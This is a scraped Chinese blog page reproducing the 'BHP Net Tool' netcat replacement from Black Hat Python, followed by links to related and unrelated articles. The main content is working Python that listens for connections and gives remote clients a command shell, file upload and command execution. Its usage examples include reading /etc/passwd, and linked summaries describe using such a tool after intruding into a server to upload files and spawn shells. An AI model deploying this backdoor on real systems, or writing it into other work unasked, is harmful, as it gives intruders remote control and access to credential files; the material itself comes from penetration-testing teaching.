#导入需要用到的包
import sys
import getopt
import threading
import socket
import subprocess #定义全局变量
listen = False
command = False
upload = False
execute = ''
target = ''
upload_destination = ''
port = 0 def usage():
print('''BHP Net Tool usage: bhpnet.py -t target_host -p port
-l --listen - listen on [host]:[port] for incoming connections
-e --execute - execute the given file upon receiving a connection
-c --command - initialize a command shell
-u --upload = destination - upon receiving connection upload a file and write to [destination] Examples:
bhpnet.py -t 192.168.0.1 -p 5555 -l -c
bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe
bhpnet.py -t 192.168.0.1 -p 5555 -l -e=cat /etc/passwd
echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.0.1 -p 135
''')
sys.exit(0) def client_sender(buffer):
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try:
#连接到目标主机 client.connect((target,port)) if len(buffer):
client.send(buffer.encode()) while True: #等待数据回传
recv_len = 1
response = '' while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+=data.decode() if recv_len < 4096:
break print(response,end='') #等待输入
buffer = input('')
buffer +='\n' #发送出去 client.send(buffer.encode()) except Exception as e:
print(str(e))
print('[*] Exception ! Exiting .')
client.close() def server_loop():
global target if not target:
target = '0.0.0.0' server = socket.socket()
server.bind((target,port))
server.listen(255) while True:
client_socket,addr = server.accept() #分拆一个线程处理新的客户端
client_thread = threading.Thread(target = client_handler,args = (client_socket,))
client_thread.start() def client_handler(client_socket):
global upload
global execute
global command if len(upload_destination):
#检测上传文件 file_buffer = '' #持续读取数据直到没有符合的数据
while True:
data = client_socket.recv(1024)
if not data:
break else:
file_buffer += data.decode()
try:
file_descriptor = open(upload_destination,'wb')
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send('Sucessfully saved file to %s\r\n'.encode() % upload_destination) except Exception as e:
print(str(e))
print('Failed to save file to %s\r\n' % upload_destination) if len(execute):
output = run_command(execute) client_socket.send(output.encode()) if command:
while True:
client_socket.send("<BHP:#> ".encode())
cmd_buff = ''
while '\n' not in cmd_buff:
cmd_buff += client_socket.recv(1024).decode()
response = run_command(cmd_buff) client_socket.send(response) def run_command(command):
command = command.rstrip() try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell = True) except Exception as e:
print(str(e))
print('Failed to execute command.') return output def main():
global listen
global command
global upload
global execute
global target
global upload_destination
global port if not len(sys.argv[1:]): #如果没有参数则打印帮助信息
usage() try:
options,args = getopt.getopt(sys.argv[1:],'hle:t:p:cu:',['help','listen','target','port','command','upload'])
except getopt.GetoptError as err:
print(str(err))
usage() for o,a in options:
if o in ('-h','--help'):
usage()
elif o in ('-l','--listen'):
listen = True
elif o in ('-e','--execute'):
execute = a
elif o in ('-c','--command'):
command = True
elif o in ('-u','--upload'):
upload_destination = a
elif o in ('-t','--target'):
target = a
elif o in ('-p','--port'):
port = int(a)
else :
assert False,"Unhandled Option" if not listen and len(target) and port > 0 :
buffer = sys.stdin.read() client_sender(buffer) if listen :
server_loop()
main()

BHP Net Tool的更多相关文章

  1. 取代netcat

    前言 众所周知,netcat是网络界的瑞士军刀,它的主要作用是:提供连接其他终端的方法,可以上传文件,反弹shell等等各种利于别人控制你电脑的操作.所以聪明的系统管理员会将它从系统中移除,这样当别人 ...

  2. python黑帽子

    1.TCP客户端 #AF_INET 使用标准的IPv4地址或者主机名 #SOCK_STREAM是一个客户端 import socket target_host = 'www.google.com' t ...

  3. 《Python黑帽子:黑客与渗透测试编程之道》 网络基础

    TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...

  4. Black Hat Python之#1:制作简单的nc工具

    nc即netcat,是网络界的瑞士军刀.当入侵了一个服务器之后,发现nc工具已经被系统管理员移除之后,可以自己制作一个简单的客户端和服务器端来实现①上传文件②执行命令③开启一个新的命令行shell等几 ...

  5. [免费了] SailingEase .NET Resources Tool (.NET 多语言资源编辑器)

    这是我2010年左右,写 Winform IDE (http://www.cnblogs.com/sheng_chao/p/4387249.html)项目时延伸出的一个小项目. 最初是以共享软件的形式 ...

  6. jBPM4.4 no jBPM DB schema: no JBPM4_EXECUTION table. Run the create.jbpm.schema target first in the install tool.

    jBPM4.4 no jBPM DB schema: no JBPM4_EXECUTION table. Run the create.jbpm.schema target first in the ...

  7. mtk flash tool,Win7 On VirtualBox

    SP_Flash_Tool_exe_Windows_v5.1624.00.000 Win7 在 VirtualBox, 安裝 mtk flash tool, v5.1628 在燒錄時會 fail. v ...

  8. 使用Microsoft Web Application Stress Tool对web进行压力测试

    Web压力测试是目前比较流行的话题,利用Web压力测试可以有效地测试一些Web服务器的运行状态和响应时间等等,对于Web服务器的承受力测试是个非常好的手法.Web 压力测试通常是利用一些工具,例如微软 ...

  9. How to Use Android ADB Command Line Tool

    Android Debug Bridge (adb) is a tool that lets you manage the state of an emulator instance or Andro ...

随机推荐

  1. SYS与SYSTEM、DBA与SYSDBA的区别

    SYS与SYSTEM: 1. sys 的角色是sysdba system 的角色是sysoper 2. sys 具有create database的权限 system没有该权限 3. sys可以建数据 ...

  2. 【转】关于Jquery中ajax方法data参数用法的总结

    $.ajax({ type: "POST", url: "some.php", data: "name=John&location=Bosto ...

  3. tomcat启动不了

    今天弄了一个项目想在在自己的电脑上面运行起来,当部署在tomcat上的时候发现tomcat就是启动不来,思忖了一段时间后发现原来是tomcat的相关jar没有导入进去.所以,properties-&g ...

  4. AsyncTask异步交互和httpurlconnection结合使用

    //网络请求数据 package com.baidu.myutils; import java.io.BufferedReader; import java.io.InputStreamReader; ...

  5. JavaScript Cookies

    JavaScript Cookies 当 web 服务器向浏览器发送 web 页面时,在连接关闭后,服务端不会记录用户的信息.Cookies 的作用就是用于存储 web 页面的用户信息. Cookie ...

  6. Queue Reconstruction by Height

    Suppose you have a random list of people standing in a queue. Each person is described by a pair of ...

  7. qt做触摸屏演示程序

    界面效果图: 参考资料: http://blog.csdn.net/orz415678659/article/details/9136575     这个最重要.. https://www.oschi ...

  8. 推荐一个Android Studio很实用的插件android-butterknife-zelezny

    当你按钮很多,你又懒得写代码,虽然通过重写onClick比较方便,那么我们能不能连这个switch都省略掉呢? 答案是肯定的,下面这个插件就帮我们解决了这个问题! Android-butterknif ...

  9. BZOJ 3675 序列分割

    斜率优化.注意要判分母为0的情况.dp数组可以滚一维. #include<iostream> #include<cstdio> #include<cstring> ...

  10. calender 软文

    http://www.cnblogs.com/cloudgamer/archive/2008/08/23/1274459.html